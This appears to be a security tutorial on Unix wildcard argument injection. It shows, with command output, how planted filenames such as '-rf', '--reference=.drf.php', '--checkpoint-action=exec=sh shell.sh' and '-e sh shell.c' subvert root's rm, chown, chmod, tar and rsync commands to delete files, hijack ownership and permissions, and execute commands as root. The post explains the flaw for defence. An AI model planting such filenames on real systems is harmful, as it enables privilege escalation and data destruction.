Abusing Unix Wildcards

A wildcard is a character or set of characters that can be used as a replacement for some range/class of characters. The shell interprets Wildcards before any other action.

Some Shell Wildcards:

Wildcard

Description

*

An asterisk matches any number of characters in a filename, including none

?

The question mark matches any single character

[ ]

Brackets enclose a set of characters, any one of which may match a single character at that position

-

hyphen used within [ ] denotes a range of characters

~

A tilde at the beginning of a word expands to the name of your home directory. If you append another user's login name to the character, it refers to that user's home directory

Basic example of wildcards usage:

# ls *.php

List all files with PHP extension

# rm *.gz

Delete all GZIP files

# cat backup*

-Show content of all files which name is beginning with 'backup' string

# ls test?

List all files whose name is beginning with string 'test' and has exactly one additional character

Wildcard Wilderness

Wildcards as their name states, are "wild" by their nature, but moreover, in some cases, wildcards can go berserk.

In shell scripts it's not wise to use wildcards, particularly in rm command, because someone could abuse it with "argument-like-filename" the simple trick behind this technique is that when using shell wildcards, especially asterisk(*), Unix shell will interpret files beginning with hyphen (-)character as a command-line arguments to executed command/program. That leaves space for variation of classic channeling attack. The channeling problem will arise when different kind of information channels are combined into a single channel. Using wildcards, we can combine filenames and arguments into a single channel.

basic wildcard argument injection example

total 20
drwxrwxr-x. 5 Bad3r Bad3r 4096 Oct 28 17:04 .
drwx------. 22 Bad3r Bad3r 4096 Oct 28 16:15 ..
drwxrwxr-x. 2 Bad3r Bad3r 4096 Oct 28 17:04 DIR1
drwxrwxr-x. 2 Bad3r Bad3r 4096 Oct 28 17:04 DIR2
drwxrwxr-x. 2 Bad3r Bad3r 4096 Oct 28 17:04 DIR3
-rw-rw-r--. 1 Bad3r Bad3r 0 Oct 28 17:03 file1.txt
-rw-rw-r--. 1 Bad3r Bad3r 0 Oct 28 17:03 file2.txt
-rw-rw-r--. 1 Bad3r Bad3r 0 Oct 28 17:03 file3.txt
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf

We have directory with few sub-directories and few files in it. There is also file named -rf owned by the user nobody. Now, let's run rm *command, and check directory content again.

total 8
drwxrwxr-x. 2 Bad3r Bad3r 4096 Oct 28 17:05 .
drwx------. 22 Bad3r Bad3r 4096 Oct 28 16:15 ..
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf

The directory is totally empty, except for-rffile in it. All files and directories were recursively deleted, and it's pretty obvious what happened... When we executed the rm command with asterisk as argument, all filenames in current directory were passed as arguments to rm

[[email protected]]$ rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf

Since there is a file named -rf in the current directory, rm got the-rfoption as the last argument, and all files in current directory were recursively deleted. We can also check that with strace:

[[email protected]]$ strace rm
execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3",
"file1.txt", "file2.txt", "file3.txt", "-rf"], [/* 25 vars */]) = 0
^ HERE

Chown file reference trick (file owner hijacking)

Let's say that we have some publicly writable directory with bunch of PHP files in there, and root user wants to change owner of all PHP files to 'nobody'. Pay attention to the file owners in the following files list.

Attacker: Bad3r Victim : root

total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
-rw-r--r--. 1 bad3r bad3r 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 bad3r bad3r 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php

and root user will now change that to 'nobody'.

[[email protected]]# chown -R nobody:nobody *.php

Let's see who owns files now...

total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 bad3r bad3r 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 bad3r bad3r 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 bad3r bad3r 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 bad3r bad3r 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 bad3r bad3r 201 Oct 28 17:35 download.php
-rw-r--r--. 1 bad3r bad3r 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 bad3r bad3r 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 bad3r bad3r 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 bad3r bad3r 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 bad3r bad3r 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 bad3r bad3r 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 bad3r bad3r 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 bad3r bad3r 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 bad3r bad3r 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 bad3r bad3r 94 Oct 28 17:35 script.ph

Superuser tried to change files owner to the user:group nobody, but somehow, all files are owned by the user bad3r now.

If we take closer look, this directory previously contained just the following two files created and owned by the user bad3r.

-rw-r--r--. 1 bad3r bad3r 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 bad3r bad3r 0 Oct 28 17:45 --reference=.drf.php

The wildcard character used in chown *.php command line took arbitrary --reference=.drf.php file and passed it to the chown as an option.

Let's check chown manual page

[[email protected]]# man chown
...
--reference=RFILE
use RFILE's owner and group rather than specifying OWNER:GROUP values
...

So in this case, --reference option to chown will override nobody:nobody specified by root, and the new owner of the files in this directory will be the same as the owner of .drf.php

.drfis short for Dummy Reference File. :)

To conclude, reference option can be abused to change ownership of files to some arbitrary user. If we set some other file as argument to the --reference option, file that's owned by some other user, will be now owned by the user bad3r .

With this simple chown parameter pollution, we can trick root into changing ownership of files to arbitrary users, and practically "hijack" files that are of interest to us.

Even more, if user bad3r previously created a symbolic link in that directory that points to let's say /etc/shadow, ownership of /etc/shadow would also be changed to the user bad3r.

Chmod file reference trick

Another interesting attack vector similar to previously described chown attack is chmod. chmod also has --reference option that can be abused to specify arbitrary permissions on files selected with asterisk wildcard.

[[email protected]]# man chmod
...
--reference=RFILE
use RFILE's mode instead of MODE values
...

Attacker: Bad3r Victim : root

total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 bad3r bad3r 0 Oct 29 00:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 bad3r bad3r 0 Oct 29 00:41 --reference=.drf.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php

Superuser will now try to set mode 000 on all files

[[email protected]]# chmod 000 *

Let's check permissions on files...

total 68
drwxrwxrwx. 2 user user 4096 Oct 29 00:41 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxrwxrwx. 1 user user 20480 Oct 28 19:13 admin.php
-rwxrwxrwx. 1 user user 34 Oct 28 17:47 ado.php
-rwxrwxrwx. 1 user user 187 Oct 28 17:44 db.php
-rwxrwxrwx. 1 user user 201 Oct 28 17:43 download.php
-rwxrwxrwx. 1 bad3r bad3r 0 Oct 29 00:40 .drf.php
-rwxrwxrwx. 1 user user 43 Oct 28 17:35 file1.php
-rwxrwxrwx. 1 user user 56 Oct 28 17:47 footer.php
-rwxrwxrwx. 1 user user 357 Oct 28 17:36 global.php
-rwxrwxrwx. 1 user user 225 Oct 28 17:37 header.php
-rwxrwxrwx. 1 user user 117 Oct 28 17:36 inc.php
-rwxrwxrwx. 1 user user 111 Oct 28 17:38 index.php
-rw-r--r--. 1 bad3r bad3r 0 Oct 29 00:41 --reference=.drf.php
-rwxrwxrwx. 1 user user 94 Oct 28 17:38 script.php

What happened? Instead of 000, all files are now set to mode 777 because of the --referenceoption supplied through a file name --reference=.drf.php. Once again, file .drf.php owned by user bad3r with mode 777 was used as reference file and since --reference option is supplied, all files will be set to mode 777. Beside just --referenceoption, attacker can also create another file with -R filename, to change file permissions on files in all sub-directories recursively.

Tar arbitrary command execution

Previous example is nice example of file ownership hijacking. Now, let's go to even more interesting stuff like arbitrary command execution. Tar is very common unix program for creating and extracting archives. Common usage for lets say creating archives is:

[[email protected]]# tar cvvf archive.tar *

tarhas many options, and among them, there is some pretty interesting options from arbitrary parameter injection point of view.

...
--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
execute ACTION on each checkpoint
...

There is '--checkpoint-action' option, that will specify program which will be executed when checkpoint is reached. Basically, that allows us arbitrary command execution.

Check the following directory:

total 72
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 bad3r bad3r 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 bad3r bad3r 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 bad3r bad3r 12 Oct 28 19:17 shell.sh

Attacker: Bad3r Victim : root

Now, for example, root user wants to create archive of all files in current directory.

[[email protected]]# tar cf archive.tar *
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command execution under root privileges. Once again, there are few files created by user bad3r.

-rw-r--r--. 1 bad3r bad3r 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 bad3r bad3r 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x. 1 bad3r bad3r 12 Oct 28 19:17 shell.sh

Options --checkpoint=1 and --checkpoint-action=exec=sh shell.sh are passed to the tar program as command line options. Basically, they command tar to execute shell.sh shell script upon the execution.

[[email protected]]# cat shell.sh
/usr/bin/id

So, with this tar argument pollution, we can basically execute arbitrary commands with privileges of the user that runs tar. As demonstrated on the root account above.

Rsync arbitrary command execution

Rsync is a fast, versatile, remote (and local) file-copying tool, that is very common on Unix systems.

If we check rsync manual page, we can again find options that can be abused for arbitrary command execution.

You use rsync in the same way you use rcp. You must specify a source and a destination, one of which may be remote

Interesting rsync option from manual:

[[email protected]]# man rsync
...
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
...

In the following example will copy all C files in local directory to a remote host foo in /src directory.

# rsync -t *.c foo:src/

Directory content:

total 72
drwxrwxrwx. 2 user user 4096 Mar 28 04:47 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 bad3r bad3r 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 bad3r bad3r 31 Mar 28 04:45 shell.c

Now root will try to copy all C files to the remote server.

[[email protected]]# rsync -t *.c foo:src/
rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8]

Let's see what happened...

total 76
drwxrwxrwx. 2 user user 4096 Mar 28 04:49 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 bad3r bad3r 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 bad3r bad3r 31 Mar 28 04:45 shell.c
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt

There were two files owned by user bad3r, as listed below.

-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c

After rsync execution, new file shell_output.txt whose owner is root is created in same directory.

-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt

If we check its content, following data is found.

[[email protected]]# cat shell_output.txt
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Trick is that because of the *.c wildcard, rsync got -e sh shell.c option on command line, and shell.c will be executed.

[[email protected]]# cat shell.c
/usr/bin/id > shell_output.txt

Conclusion

Techniques discussed in post can be applied in different forms on various popular Unix tools. In real-world attacks, arbitrary shell options/arguments could be hidden among regular files, and not so easily spotted by administrator. specially in case of cron jobs, shell scripts or web applications that calls shell command